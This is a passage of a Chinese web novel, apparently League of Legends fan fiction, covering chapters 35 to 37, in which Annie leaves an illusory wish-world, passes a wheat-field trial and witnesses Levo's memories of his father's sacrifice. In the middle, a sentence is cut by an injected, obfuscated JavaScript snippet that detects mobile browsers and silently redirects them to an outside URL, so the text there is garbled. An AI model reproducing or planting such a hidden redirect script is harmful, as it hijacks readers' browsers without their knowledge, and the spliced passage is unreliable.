“对啊,我就是想和你说一下,加丁现在已经够惨了,你要是想继续惩罚他,最好别告诉阿狸——她一直很善良,你知道的。” “哦……我会悄悄的,那你觉得把加丁安排在哪里比较好?” “嗯……”菲缇沉思了一会儿,“就关在极寒冰原的洞窟里吧,那里面环境不错,但是出来很不容易。我相信他会在漫长的岁月里想明白的。” “我知道了。”安妮笑了笑,“那我走了。” “拜拜!记得去找阿狸拿蛋糕,她为了庆祝特意做的呢~” “嗯……” 安妮目送菲缇离开,眼眶有些湿润。前方的女人迈着稳健的步伐,好像正要去给她准备早餐。 “加丁在之前保存了很多水晶球的地方,一起去看看吗?” “阿木木”适时地出现。 那是一条不需要指引的路。安妮沉默地走上去,一路上碰到的学生都敬畏地看着她。 “你的事迹已经传遍源大陆了,他们都很佩服你,加丁被你处置没有任何意见。那些贵族如今在你的监督下收敛了很多,正义公平都触手可及,而这些都是你带给他们的。” 原来,这就是世界围绕自己旋转的感觉吗? 安妮觉得,如果面前的“阿木木”不是那么殷切的话,她可能已经停下脚步了。 “到了,你在这里等着吧。” 安妮无法对这个披着阿木木皮囊的幻象说重话,但也不想看见它。 她推开大门,熟悉的长桌映入眼帘,只是这一次正中间的桌子换了,改成一个金色牢笼。笼子里关着的,正是加丁。 安妮不知道这个世界的加丁被复制到了什么程度,她凑上去观察了一下。 “我以为你不会来了。” 加丁背对着安妮。 “为什么?” “我从不做浪费时间的事情,所以我认为所有人都和我一样,起码对你而言,来看我是件无意义的事。” “不,有意义的,比如……我想听你亲口说说,我是怎么一步步打败你的。” “我想悦来客栈里的说书先生讲的会比我有趣。” “但我只想听你说。” 加丁顿了顿,但他没办法拒绝,因为这是安妮的世界。 “收集九大神器,然后一举拿下天道,我不过是覆巢之下的蝼蚁……还有什么问题吗?” “我还想问问……你服不服?” “服不服?” 加丁有些怔楞,因为他不知道安妮想要的答案是什么。 服?可是身为校长,光明学院的代表,圣城背地里的主人,他怎么可能服?但是不服……安妮会满意吗? 安妮微微一笑:“你在思考。” 看来,至少一些关键性的扮演者,是有意识的。 这个世界按照她的心意运行的轨迹,不过是他们从记忆里提取出来的“愿望”,交由有意识的东西扮演。 怪不得需要打磨。 安妮忽然想到了什么。 “我来这里其实是想征求一下你的意见。” “我的意见?” “比如……听说灾难丛林里有很多魔兽,威胁到了约德尔居民的安全,所以我想把那片林子里的怪物都收拾干净。” “你怎么突然想到了这个?” “很奇怪么?” 安妮看着加丁的表情。不过是一个小小的提议,他就这么惊讶,看来记忆里老人波澜不惊的模样没有给它留下足够的印象。 不过这也给了她一些提示。 “这件事确实太遥远了……你说,我要是不管无妄边境,把族人继续留在那里怎么样?” “为什么?难道你不想让他们幸福地生活下去吗?” 记忆里当然想。 安妮没回答,她继续说着让加丁瞠目结舌的想法。 “我想放你继续当校长……你说我把九大神器全部物归原处怎么样?还有菲缇老师,她本身就是莫斯卡,无论怎么变化都是,甚至……菲缇才应该是虚假的,应当被剔除的那个角色——你说我把她变回来怎么样?” 加丁已经说不出话了,他之前还尝试着找理由阻止,但很快他就明白过来,安妮已经找到了方法。 他现在只能祈祷一件事。 “通关方法是这个,但你真的要这样做吗?” “你承认了?” “反正都暴露了……”加丁无奈一笑,“这个世界如你所愿,以后也只会如你所愿,你就真的要放弃离开吗?” “你就那么想再一次亲手制造残酷的现实吗?” 我当然不想。 安妮惨然一笑,抬头望着晃眼的天花板。 “反正都是事实,有什么不可面对的?我们每天所见到的,不也是一个不如意的世界吗?” 她只是试图逃避,但当一切都走向末路,退无可退的时候,唯有殊死一战。 安妮起身,加丁坐在笼子里,只是这一次没有了装腔作势的气质。 “说句实话。” 加丁的声音变柔和了些,安妮知道那是它本来的音色。 “看到你记忆的瞬间,我们都想竭尽全力,为你构建一个完全贴近现实的世界。” “谢谢,”安妮轻声呢喃,擦干眼眶的泪水,“终有一天,我会亲手构建出这个世界。” 少女的背影消失在逆光中。 36. 36 再一次站在麦田外,安妮看着自己的手,有些怔楞。 她亲手毁灭了族人,亲手放出了加丁,亲手送走了巫阿婆,亲手复活了卡伊特,但那些幻象没有装作悲痛欲绝的模样阻止她。 一切都是那么顺利,凯德阿姨的幻象甚至微笑着迎接了消失。 她望着面前轻轻摇摆的麦田,它们似乎在朝着自己微笑。 安妮转身,在麦子的目送下离开。 她径直走向下一个麦田。 这一次,茂盛的麦田里不再有任何东西。面前仍旧是一片金色的海洋,但是没有初见时的震撼。 安妮还在思考同样的景色意味着什么,就听见面前的麦子说话了。 是的,说话了,稚嫩的童声。 “来啦来啦!我们等你好久了!” “等我?” “是呀,我们都在等你。” 童声刚说完,另一个略微大点的男声接道:“我们都在等你回答问题,只要你能解决我们的疑惑,就可以离开这里。” “什么问题?” “唔……很多……” 那个稚嫩的声音还没说完就被打断。 “第一个,你出去的第一步是寻源,你怎么寻找,又怎么找到?” 男声问完,不等安妮回答,周围的景色就开始不断变换。安妮站在原地,发现自己不知不觉间已经处于一个黑暗的空间。 周围雾蒙蒙的一片,什么也看不见。 “我……基兰爷爷会告诉我怎么做。” 安妮试探地回答。 就见面前的黑雾凝聚成基兰的身影,另一团矮小的变成了安妮。黑色的剪影安妮随着剪影基兰指引的方向前进,就像安妮过去在巫阿婆的村子里看见过的皮影戏。 “你得到了指引,但是怎么寻找还是要靠你自己,你会遇到很多危险。” 男声说完,剪影基兰消失,取而代之的是一群张牙舞爪的野兽。剪影安妮在其中显得瘦弱无助。 安妮有些着急,她总感觉自己好像也被什么危险的东西盯上了,暗处不怀好意的目光让人颤栗。 “我……我能打败它们的!” 寻找弱点、因地制宜,还有各种武器身法帮助,安妮相信自己一定可以找到本源。 黑色影子开始消散。危机解除,安妮松了口气。 这样的感觉很奇妙,就像自己被放进了黑色的影子里,好在她反应很快。 “就算找到了本源,你还需要收集九大神器,其中一个还在你的仇人手里。” 男声说完,前方又出现一座高大的山脉。 “除了斩月山,你还要去很多地方。极寒冰原的暴风能把你掀翻,恕瑞玛沙漠的烈日可以把你烤干,亚特兰蒂斯里的海洋生物不欢迎外来者,斩月山里的各种机械物品也会守护他们的地盘。” 安妮被噎住了,因为她压根不知道自己会遇到这么多阻挠。或者说,她根本没想过这些。 来到守望麦田已经是孤注一掷的决定,通过考验后,她已经很久没有担忧过前路了。 “你回答不上来了吧?” 男声有些得意。 “只是暂时而已,我会想到办法的。” 安妮坐下,开始挨个沉思。 “极寒冰原的暴风厉害,但是我可以增重,只要不断提升力量,负重前行就好了。” “恕瑞玛沙漠烈日炎炎,我可以找骆驼帮忙,或者寻找绿洲。” “避水珠可以让我在水下呼吸,至于深海生物,我见招拆招就是了。” “还有斩月山,海洋都不怕,陆地我还搞不定吗?” 逐个击破,这也是金克丝教授的战术。 安妮得意地笑了笑。 “那又怎么样?极寒冰原里还有雪怪呢,恕瑞玛沙漠也有守护者。更别说亚特兰蒂斯你都找不到入口,避水珠你也不见的能得到。” 黑影随着男声开始变换,形形色色的怪物包围了安妮。 “我就是有办法!” 安妮看着那些怪物的剪影,再次思索起对策。 机械的、深海的、沙漠的,她逐个击破。男声很快又制造出新的困难,但安妮也很快想到解决办法。 一直过了很久,安妮思考得有些累了。 “怎么还没结束?我九大神器所在地的困难都想完了。” “困难那么多,你才讲到哪儿?要是想不到了,那就认输离开吧!”男声骄傲地回答,“你的目标那么远大,达得到才怪呢,现在这些困难只是冰山一角。” 冰山一角? 那不是还要回答很多? 安妮觉得不对劲,她之前通过麦田都不需要这么久。 “我不想跟你聊天了,你叫另一个小朋友来。” 两个都是童声,但很明显另一个好套路一些。 “你叫谁来谁就来?我是你的引导者,你找他干嘛?” “你说了那么久不累吗?换一个人来,你休息好了再说。” 这家伙吃软不吃硬,她还是态度温和点。 果不其然,男声沉默了一下,似乎换人了。 不一会儿,一个更加热情稚嫩的声音传来。 “姐姐,你在找我吗?” “对,想跟你聊聊天。”安妮也十分热情,“那个引导者不在吧?我们说点悄悄话。” “不在,他休息去了。每一次只能有一个引导者来。” 那就好。 “唔……这样的话,你要开始问我问题了吗?他刚刚关于九大神器的事情还没问完。” “要的要的,那……姐姐你对怎么对付斩月山的那些机器人呢?” 对付斩月山的机器人?这可不是之前那个引导者询问过的问题。这么说,他们的问题都是自己想的?还是每个引导者负责问的不一样? “这个嘛……我想到了,但是我想先问你一个问题。” “问我问题?” “这个问题都是哪来的?” “当然是我想……”童声刚回答完,突然意识到不对劲,“不是!那些问题不是我想的……” 果然还是这个引导者比较好骗。看来回答他们的问题根本无法通关,因为他们想到的困难是无穷无尽的。 “唔唔……我又闯祸了……” 童声哭哭唧唧找大人去了。 找来了刚刚休息了一会儿的大哥。 “你是不是套了我们的话?” 男声一来就大声质问。 安妮才不会被吓到,之前是被误导了,现在她才明白,麦田哪有那么好心,会告诉她通关方法? “我不回答了,反正通关不了。” “谁说的?你回答完了,自然就过关了。” 男声还在嘴硬。 安妮老神在在地躺下,哼着歌,翘着腿,就是不回答问题了。 “喂,你说话啊!” “说什么?我不说了,你问吧,说不定等你想不出问题了,我就过关了。” “你想得美!” 男声很暴躁,可惜安妮压根不搭理他。她之前还担心这个引导者会再次凝聚黑影逼她就范,没想到男声只是不停说话。 她就更加肆无忌惮了,怎么自在怎么来。 他们越生气,破绽越多,她也就越有希望找到通关方法。这个男声虽然成熟一点,但是也更容易被激怒。 “你到底回不回答问题?不回答你就一直在这里和我们耗着吧。” “切,不回答。” 要是真的只能耗着,他才不会这么着急呢,不回答问题也许不会通关,但一定比回答了好。 “困难是无穷无尽的,我都还没有真正出去面对,就想这么多有的没的,有必要么?” 当初她畏首畏尾,总是拼命训练还自怨自艾,菲缇就告诉她,只管去做,不要想那么多。 她那时候不理解,后来才知道,就算你思考出再多阻碍,又想办法解决了这些阻碍,也只是进行了一场头脑风暴而已,事实是你在无尽的自问自答中浪费了时间,什么也没做成。 现在这个麦田不过是把她的自问自答变成了一问一答而已。也许确实,那些地方会充满艰险,但想到解决办法就真的可以消除这些艰险了吗? “唉,既然你想通了,那我也没必要留着你了。” 这是通关了? 安妮眼前一亮。 “我还想着你的目标是最困难的,我一定能把你困到麦田关闭呢……” 男声抱怨。 “那真是不好意思,你的搭档有点单纯。” 知道通关了,安妮也一身轻松,干脆和麦田开起了玩笑。 “哼,就差一点了而已,你别得意!” “那你赶紧把我送回去啊,万一聊着聊着强制关闭了,我不就失败了?” 闯了三个麦田,她也累了。虽然第一个只是睡了会儿,但过去了一整天,她毫不意外。 “你着急什么?失败了明天再来不就好了?反正你都知道通关方法了……” “我才不想再来呢,明天我就要去面对那些真正的困难了,而不是跟你在这里回答些无中生有莫名其妙的问题!”安妮眨眼调侃,“你不会是舍不得我,还想和我聊天吧?” “才不是!自恋狂,快滚快滚!” 男声大声反驳。 安妮就感觉身体一轻,似乎被麦子托起,然后……一个抛物线。 这个死傲娇! 安妮调整姿势,轻盈地落在一片麦子里。还好这引导者嘴硬心软,没直接把她扔地里砸个倒栽葱。 只是这是哪里? 临近六点,麦田都要自动关闭了,可是她周围的麦子还是茁壮成长着。安妮干脆坐下,等着被麦田传送出去。 她等得困乏之际,周围的麦田忽然开始往外移动。安妮迷迷糊糊地睁开眼,面前一颗麦子也没有了。 身边出现了一只浣熊。 莱沃? 安妮“噌”一下站起身,忽然感觉到不对劲。她的身体轻飘飘的,或者说……灵魂轻飘飘的。 什么情况?她没有被送出去,说明不是在闯关。那……这是进入记忆麦田了? 安妮身边的浣熊似乎没看见她,专心捣鼓手里的玩意儿。 安妮飘在半空,换个角度看了看,确信面前的孩子是莱沃,只不过是莱沃的缩小版——大大的眼睛,瞳孔清澈,毛发是浅棕色的,指甲还没有那么锐利。 他在干什么?安妮凑上去仔细观看,那似乎是什么机械制品。安妮在光明学院报的魔法班,但偶尔也能看见其他系的学生,他们手里就总是拿着这种奇奇怪怪的东西。 见那机器被莱沃举起来,对着前方发射,一只冷箭“当”地插在前方的靶子上,安妮瞪大了眼睛。 能用如此简陋的零件制作出有杀伤力和精准度的武器,莱沃也太厉害了!关键是,他好像还不大。 也就刚达到光明学院的入学年龄。 “吱呀……” 房门被推开。 安妮才发现这是一间非常狭小的房屋。到处都摆着螺丝铁片,腐朽的小木桌上还有一台大型机器。最特别的是印着同一个人的各种海报,大字无一例外写着“大发明家科瑞特”。 进来的是一只成年浣熊,和成年莱沃一样的深棕色短毛,白色眉毛,黑色眼珠,只是看起来沧桑不少,爪子也是黑灰色的,有一些机油附着在上面。 这是……莱沃的父亲? “黑子,明天就要去上学了,记得爸给你说的吗?” “记得记得,要和同学们友好相处,要听老师的话,不要淘气……” 小莱沃乖乖细数着父亲的叮嘱,摇头晃脑十分可爱。 莱沃的父亲也很满意,走上前摸了摸莱沃的发旋。 安妮看清楚他右胸上的工作标签上写着“法特”,似乎是一个厂里的工人。 莱沃和法特互道晚安后,莱沃继续在小屋里奋斗。安妮无法离莱沃太远,只能坐下一起。 她习惯性地观察周围,这里乱糟糟的,黑色污泥和灰尘到处都是,唯一干净的大概只有莱沃坐着的地毯。 莱沃的手工很多,正在制造的箭只是其中一个。那些作品被零散地堆放着,压住一些科瑞特的海报。 安妮看得眼花缭乱,终于,莱沃完成了自己的杰作,把它小心翼翼地放进桌下的一个大箱子里,接着高高兴兴去睡觉。 从某种程度上讲,他爱收藏小东西的德行和自己还挺像。 安妮看见那箱子里不是漂亮的树脂石头,全是手工。 安妮不需要睡觉,晚上一闪而过,很快就到了莱沃上学的点。 他睡觉的小床就在法特旁边,很简陋。吃的东西也只是黄油面包加一杯牛奶——也很简单。 但是莱沃很开心。法特一大早就出去工作了,留下字条叮嘱他,莱沃看完,自己吃饭,自己整理书包,然后自己去学校。 莱沃的学校也很小,比光明学院差多了,操场还没有那个湖大。 安妮还想着小地方的孩子都很淳朴,谁知莱沃很快就因为穿着简陋被孤立了。大概还有一个原因——他的名字。 每个孩子的名字爸爸妈妈应该都是竭力思考过的,但很可惜,莱沃的名字有些特殊。 就像“安妮”意味着“光明”一样,“莱沃”意味着“失败”。这是一个贵族的小孩提出的,安妮想他大概是有机会看过那本书。 “你就是个失败者,天生的失败者,哈哈哈哈!” 那个孩子嘲笑着。 “还学习科瑞特,大发明家的才智你能学到吗?” 其他人嘲讽着。 法特应该是没看过那本书的,因此当莱沃失落地告诉法特这件事时,他十分自责。 “对不起,孩子,我没想到这个名字意味着……你是父亲的骄傲,怎么可能会是失败者呢?” “真的吗?” 莱沃吸了吸鼻子,瓮声瓮气地问。 “当然了,你这么聪明,还这么厉害,你一定会成功的——就像科瑞特一样。” “我一定会的!” 莱沃做到了。 他的机械理论知识和动手能力强到离谱,这是专心钻研魔法的安妮都能看出来的。 安妮就陪着他不断学习,不断成长。他对机械的狂热简直可以和自己当初不要命地练习冰灵力媲美,只是他还带着满足的笑。 虽然房子很小,虽然食物很粗糙,但和父亲相依为命的生活是那么平凡而美好。 安妮却隐隐不安。 变故发生在某一天的夜晚。 莱沃拿着金盛学院的比赛通知单给法特签字。 金盛学院也是一所贵族创立的学院,但应该比这小县城里简陋的学校好很多。莱沃是作为蝉联年级第一的天才学生被邀请的。 十几年过去,他已经成长为一个高大聪敏的少年。学校的知识不能满足他,他就自学,各种比赛的奖金已经足够他缴纳学费、改善生活,但那个杂乱的小屋从未变过,只是里面的东西越来越多。 拿到金盛学院的比赛通知书,安妮和莱沃一样高兴,因为这意味着学到更多的知识,得到更多的机会。只要参加比赛夺得前三,就可以免学费进入金盛学院读书。 安妮相信凭借莱沃的实力,这不是问题。 但没想到第一个阻碍不是比赛本身。 法特拒绝签字。 “爸爸……为什么?” 莱沃不理解,安妮也不理解。 “孩子,你们整个学校只有一个参赛名额。” “这个名额是我的,不是么?” 莱沃自豪地回答。 “是……但我很抱歉……” 法特摇头,欲言又止的模样。 莱沃握紧了拳头,沉默。安妮站在一旁,不知所措。 法特的改变应该是有迹可循的,从他不再从工厂给莱沃带零件开始,从他每一次都找借口拒绝参加家长会开始,从…… 从什么时候开始? “父亲,你不是说,我是你的骄傲吗?” 莱沃颤抖着声音,安妮才发现他垂着头,眼眶已经湿了。 “我参加县里的机械比赛,拿到一等奖之后,你却再也不给我带那些零件回来了。”原来是第一次比赛之后…… “我进入学校后,明明一直是第一,你却从我四年级开始,再也不参加家长会了。”原来是四年级开始…… “我在等你回来,你在外面喝酒……” 原来那一晚,他皱眉是因为闻到了酒气…… “为什么?” “这个比赛,你不能参加,没有为什么。” “参赛费我可以自己给,材料我可以自己买……” “我说了不行!” 法特打断莱沃的话。 莱沃只是不可置信地看着法特,看着他愤怒地离开。 “名字……我也可以自己签。” 莱沃转身,拿起桌上的笔。 莱沃最后还是参加了那场比赛,背着法特参加的。法特工作很忙,这是安妮唯一能找到的,他不再关心莱沃的理由。 莱沃不出意外地获得了第一名,但是公示的那天,也是真相大白的那天。 莱沃和法特吵了一架。 是整个小楼都能听到的争吵,安妮亲眼看见被掀翻在地的桌子,散落一地的零件,还有……那个陪伴了莱沃整个童年的箱子。 “我要去金盛学院,我可以勤工俭学,不要你一分钱。等我发明出材料便宜的武器工具,就可以在穷人里普及,到时候……” “够了!这个入学名额我会转让给摩柯的孩子……” “就为了一百个金币吗!”莱沃打断法特的话,声嘶力竭,“我以后能赚更多金币,你被他们辞退也没有关系,我们一起去金盛学院,我存了很多钱,就算在那里生活也可以……” “莱沃!”法特摇头,轻声叹息,“不可能的。” “你不相信我?” 法特闭眼,不回答。安妮忽然感到一丝无力。莱沃的天赋是顶尖的,朋友相信他,老师相信他,可唯独法特,他的父亲,不相信他。 “总有一天,我会完成自己的梦想,证明自己!” “你不愿意,也可以,我自己去……” 莱沃四处寻找着要带走的东西。 “你要去,就把所有东西留下。” 法特说完,走向桌下的箱子,将它提起。 他淡然地看着莱沃。 安妮知道,那里面装着的,是莱沃的童年。 莱沃一动不动,但是安妮能感觉到他的想法,就像她如今的想法一样。她不理解,为什么事情会发展到这一步,就像她不理解法特为什么会变成这样。 曾经那个莱沃制造出一个小机器人都会给他买零食庆祝的父亲,如今因为他靠自己将进入更好的学院而愤怒。 这份工作就真的那么重要吗?金币就真的那么重要吗?安妮是跟着莱沃偷听到了他和富 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119504|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豪摩柯的对话,但那时她是那么笃定法特的选择。 “你要留着,就留着吧,反正……是些不值钱的东西。” 莱沃倔强地盯着法特,然后离开。 安妮也只能跟着离开。但她忽然注意到,莱沃转身的那一刻,法特似乎苍老了。 一瞬间佝偻了脊背,一瞬间松开了手掌……一瞬间卸下了所有力气。 法特最后还是跟着莱沃去了金盛学院所在的城市。这座城市更加繁华,需要的消费也更多。 莱沃租了一间小屋,早出晚归。法特和他住在一起,找了工作,偶尔碰面,两人只当看不见对方。 法特会在月初留下一定的生活费,莱沃拿着,把日期金额一笔笔记下。他连带着计算了自己从出生到入学的生活费,包括庆祝生日法特购买的礼物。 安妮才知道这个父亲曾经也会给莱沃带竹蜻蜓,会在节日里准备惊喜。 金盛学院的活动更多,需要的交际也更多,但是莱沃总是一副拒人于千里之外的模样。 他唯一尊重和亲近的,大概就是自己的老师。就像当初安妮依赖菲缇一样,他们几乎无话不谈。 但这个老师终究不是菲缇。 她否定了莱沃为一年一度的机械大赛制造的作品,这个莱沃从很久以前就开始准备的杰作。 安妮很意外,和当初法特突然拒绝签字一样意外。 和莱沃走在回家的路上,安妮还在消化那段话。 “莱沃,你要知道,贵族的东西都是要最好的,你的材料如此低级,万一出了什么事怎么办?” “可是老师,我已经调试过很多次了,一定不会有问题的。这些机器需要的材料乃至芯片都很低级,就算不富裕也可以购买,相信很快就可以在穷人里普及……” “不,莱沃,你可能搞错了一件事,那就是穷人们不需要这些东西,他们只要给我们种种田,打打工就好了。” “怎么会?老师……” “莱沃,我很欣赏你,但是有时候你太死脑筋了。我们给你免学费,教给你知识,难道为的就是培养一个可以制造出便宜机器帮助穷人造反的学生吗?你能提升自己的阶级,靠的是你自己的努力,但不是人人都能和你一样,你是幸运的。” “老师和你交好,才会告诉你这些,你能明白吗?” 不能明白。 老师给了莱沃一天的假期,让他明白。 安妮忽然觉得,有什么东西好像一开始就错了。 莱沃很贫穷,看着法特每天尽心工作却买不起一台为自己服务的机器,他就梦想着可以制造出材料低级但是实用的机器,在穷人里普及。 他以为最困难的是制造方法,是无休止的实验,乃至突然改变的父亲,但事实上…… 莱沃把自己关进了小屋,但这一次已经没有陪伴他的箱子。 莱沃制造出了一个新的机器,这个机器更加华丽,使用的零件更加高端,虽然……和他原来的方案相差无几。 莱沃把这个昂贵的家伙交给老师,得到了她毫不吝啬的赞赏。 “你仍然会是第一,老师为你感到骄傲。” “谢谢。” 莱沃笑笑,看着桌子上的设计图纸,眸色深邃。 决赛那天,莱沃带着他的成品上台。安妮看见了他手上的另一个袋子,那是他在零件工厂里找来的。 安妮预感到了什么。 “我设计的机器,使用方便,功能完善,最重要的是,它需要的零件很便宜。” 莱沃扬声介绍,台下的大部分穷人立刻躁动起来。 “虽然它的外壳看起来很华美,但事实上可以用零件工厂里的廉价铁皮代替,仍旧很耐用。内部连接的螺丝只需要可以旋转三圈的低价螺丝,不需要这种昂贵的细螺丝。” 莱沃说完,倒出口袋里的零件。 这些零件即使洗了很多次也并不好看,但他们都认得,那些都是随随便便一个低级工厂就可以生产的东西——是法特过去经常带给莱沃的东西。 莱沃一边讲解一边重新组装,但是还没说完,台上的评委坐不住了。 “你胡说!这些关键部位怎么能用如此廉价低能的东西替代?” “零分!零分!失败者赶紧滚!” “不,我说的都是真的,我可以现场拆掉给你们演示。” 莱沃反驳着,然后开始拆卸。 “保安在哪里?把他赶走!赶走!” “比赛展示环节不能有人打扰,你们凭什么赶走我?”莱沃手上不停,“就算有问题,你们也可以在展示后提问。” 这当然不可能,因为安妮知道,莱沃的机器没有任何问题——那些评委也知道。 “好像真的可以,你们看他组装的速度……” “如果真是这样,那我们就都可以购买了,也不需要罗达家族的东西了……” 台下的议论让一旁观赛的贵族面色铁青。就算这个机器不能替代所有昂贵的工具,但他们相信假以时日莱沃一定可以全部制作出来——这是他们绝对不允许的! 贵族打了个手势,安妮心中一紧。她想叫莱沃赶紧走,但是她只是个透明的灵魂,根本做不到。 莱沃还没意识到危险的靠近。 就在这时,台下一只浣熊突然大喊道:“莱沃,住手!” “父亲?” 台下的正是法特。 “实在是不好意思,我这个孩子做机器做魔怔了,老想着自己是大发明家,做的东西其实根本无法使用!”法特三两步上台,抢过莱沃手上的东西,“他的机器很危险的,上次就是不小心自燃起来,把我们家都烧了!” “你们看,这零件全是机油,怎么能组装使用?” “可是……” “行了!闭嘴!之前我看你在金盛学院老师们的帮助下情况有所好转,还以为你没事了,谁知道现在又犯病。各位不好意思,我马上把他带走!” 法特说着不容分说地拽着莱沃下台。 “我马上叫个医生给他看看!” “这样的话,你也一起去,莱沃这孩子成绩不错,是个好苗子,可别伤了。” 罗达家族的一个人抬手。 他身边的管家应声离开。 安妮被迫跟着离开,但管家的视线让她如芒在背。 “父亲!” “啪!” 法特一巴掌扇在莱沃脸上,接着转头对着管家谄媚道:“不好意思,我这儿子让你们费心了。事已至此,我也不想保住他,只是我还有些钱放在他那里,劳烦您通融一下,等我问到那些钱的下落……” 他说完塞给管家一个口袋。管家嫌弃地接过,挥挥手像赶苍蝇。 法特拉着莱沃走到屋里,拉上窗帘,大声吼着:“老子之前给你学费供你读书,你就是这样报答我的?” 他说着又扬手,把莱沃推倒在地。 莱沃正要起身,法特突然抓住他的领子,凑上前。 “衣柜后面有扇窗户,快跑,钱在衣柜里!” “什么?” 莱沃愣愣地问,却被法特再次推远。 外面的管家见影子不对,立刻赶进去,法特把门关上锁住,莱沃透过窗子缝隙看见外面来了很多人。 “快跑!” 法特随手塞给莱沃一个他发明的武器,接着跑去推开了衣柜。 后面的窗户对着窄小的道路,似乎是两间房屋之间的空隙。法特打开衣柜,衣柜里没有衣服,是莱沃那个箱子里的东西,还有……一张陈旧的毯子。他拿出最上面的钱,塞给莱沃。 莱沃已经知道了什么,他紧紧抓着法特的衣袖。 “父亲……” “你一直都是父亲的骄傲,一直都是。” 法特低声说完,使劲推了一把莱沃,将他推到窄道里,接着关窗,拉回衣柜。 莱沃拿着自己发明的武器和一袋钱,呆呆地站在窗外。 “快走!” 法特的叫喊随着破门的声音一起消失,安妮最后看见的,是爆炸的火光。 她感觉不到温度,但好像被灼烧着心脏。 莱沃拿着钱和武器,拼了命往外跑。他不知道要去哪里,安妮也不知道。有救援队扑向火场,他和逃难的人混在一起,随着人流离开。 莱沃奔跑得越来越快,越来越急。 安妮跟着,感觉周围的一切都开始变得虚幻、透明。她停不下来,两边的声音如同魔咒,在脑海里炸开。 “你就是个失败者,天生的失败者,哈哈哈哈!” “总有一天,我会完成自己的梦想,证明自己!” “你一直都是父亲的骄傲,一直都是。” 安妮在一片麦子中醒来,还冒着冷汗。 灼浪消失,取而代之的是刺骨的寒风。 “呼……呼……” 她剧烈喘息着,混沌的大脑里,复杂的情绪好像要炸开。 不远处有个黑色影子在慢慢靠近。安妮本能地站起身,做出防御动作。那个黑色的影子越来越大,越来越清晰,在月光的照耀下冷得像一块铁。 是莱沃。 安妮不知道说什么,她四处张望着,像当初离家出走的莱沃一样。 “我是个失败者。” “不……” “我不仅是个失败者,而且,是个自以为是的失败者。” 莱沃低声说完,转身离开。他萧索的背影定格在凄凉的夜空下,脚步声一直蔓延到黎明。 37. 37 安妮不敢直视莱沃的眼睛,好在告别那天,莱沃没有来。 “虽然寻找本源不是一件容易的事,但还是祝你一路顺风~”崔丝塔娜挥手,和蒂尼一起送别,“等你回来,我一定好好欢迎你!” “谢谢。” 安妮微微一笑。 基兰爷爷计算出了三个场景,是最可能唤醒三元素,从而得到本源的地区。希望之森代表“木”,亚特兰蒂斯代表“水”,极寒冰原代表“火”。 她打算先和阿木木去希望之森,那里是最安全的地点。 牵着阿木木的手,安妮默默启动手上的传送印记。 面前出现一个巨大的裂缝,裂缝口里是碧绿清脆的颜色。安妮和阿木木毫不犹豫地跳下去。 一阵失重感后,安妮很快感觉到了坚实的地面。 土壤湿润,带着青草的芳香,踩上去感觉都陷入了几分。四周绿树环绕,青草依依。没有刺人的荆棘,也没有潜伏的枯枝,春天的气息弥漫。阳光穿过叶隙,打在安妮的肩头。 是和无妄森林截然不同的地方。 “往前走试试?” 阿木木偏头询问。 安妮才发现不知不觉间他已经长高了许多,再低头已经不需要她蹲下观察表情了。他微微低着脑袋,安妮也需要仰头回应。 “走吧。” 她其实觉得自己的本源和“木”有关的几率不大,这一趟路想来木木会比她有收获。 希望之森很静谧,在静谧中潜藏着热闹。 一路走来,泥土在唱歌,伴着昆虫爬上青草的声音。小动物似乎全部藏了起来,安妮只看得到熟悉的七星瓢虫。 前方的一棵大树吸引了安妮的注意。 这棵树实在是太大了,树干就像一堵墙,枝叶更是茂盛,遮天蔽日也不为过。安妮还没完全走近,就感觉阴凉了下来——阳光都被挡住了。 “欢迎你们,远道而来的客人。” “谁?” 好像是这棵树。 安妮警惕地观察着。树叶手掌般宽大,但是圆润厚实;树皮粗糙,但没有锯齿尖刺;树根深深扎入地里,还有不少偶尔突出土地,但整体也十分平滑。 这声音沉重悠远,十分苍老,但比起加丁的威严多了阳光温暖的味道。 “你是……和基兰爷爷一样的隐世高人吗?” “我不过是一棵上了年纪的树罢了,你们可以叫我树爷爷。”大树的枝叶无风自动,似乎是在和他们打招呼,“希望之森已经很少来客人了,原谅我没办法招待你们。” 这棵树真是太温柔、太和善了。 安妮感慨着。 “咦?小家伙们好像要醒了……” 树爷爷似乎看着哪里,但安妮也不知道他的眼睛在哪。 “唔……好舒服……” 一个稚嫩的女声响起,不远处的一棵小树的枝叶开始向外延展,又慢慢收缩,似乎正在打着呵欠伸着懒腰。 “嗯……有客人?” 她旁边的一棵树轻轻晃了晃,是男童的声音。 安妮四处张望,发现只有这两棵树有声音,还动了。 “别那么紧张,我们不会伤害你的。” 树爷爷安慰着安妮。 扭曲树精给她的印象有点深刻,那些用来保护自己攻击敌人的部位安妮全都没有找到。这里的树木生长得棱角都没有,更别说叶子边缘的锯齿了。 “这里只有我最厉害,但是我不会随便打人的,你放心好啦。” 小女孩骄傲地自夸着。安妮不禁想起曾经的自己:那个时候她的冰灵力可以说是独一无二,在族群的孩子里也洋洋得意着。 可惜后来因为自制力太差,它反而成了自己不合群的理由。 “你打人可疼了,还说呢……” 小男生抱怨。 “你是人吗?还有,谁叫你说话那么嘴欠?” 小女孩说着,又用枝叶拍了拍一旁的树。 “好啦,客人还在呢,你们安静点。” 树爷爷慈爱地阻止了两棵小树的纠纷。小女孩说话虽然听着凶恶,但动作还是很轻的。 安妮有些羡慕,要是她和木木再早一点认识,应该也是这样的情景吧。 “客人,你们饿不饿?想休息吗?我带你们去吃饭呀?” 小女孩热情地问。 “他们哪需要你带着?你还没化形,整天在森林里乱窜,爷爷给你填土多累啊。” “要你管!你少走点路,我不就可以多走点了吗?” 走路?填土?大树怎么走路? 安妮记得扭曲树精的移动是很慢的,只有想杀死她那会儿,扭曲树精好像拔出根跑动过。 那他们两个呢?需要填土……难不成…… “再过两个月你们就化形了,最近少走点路吧。” 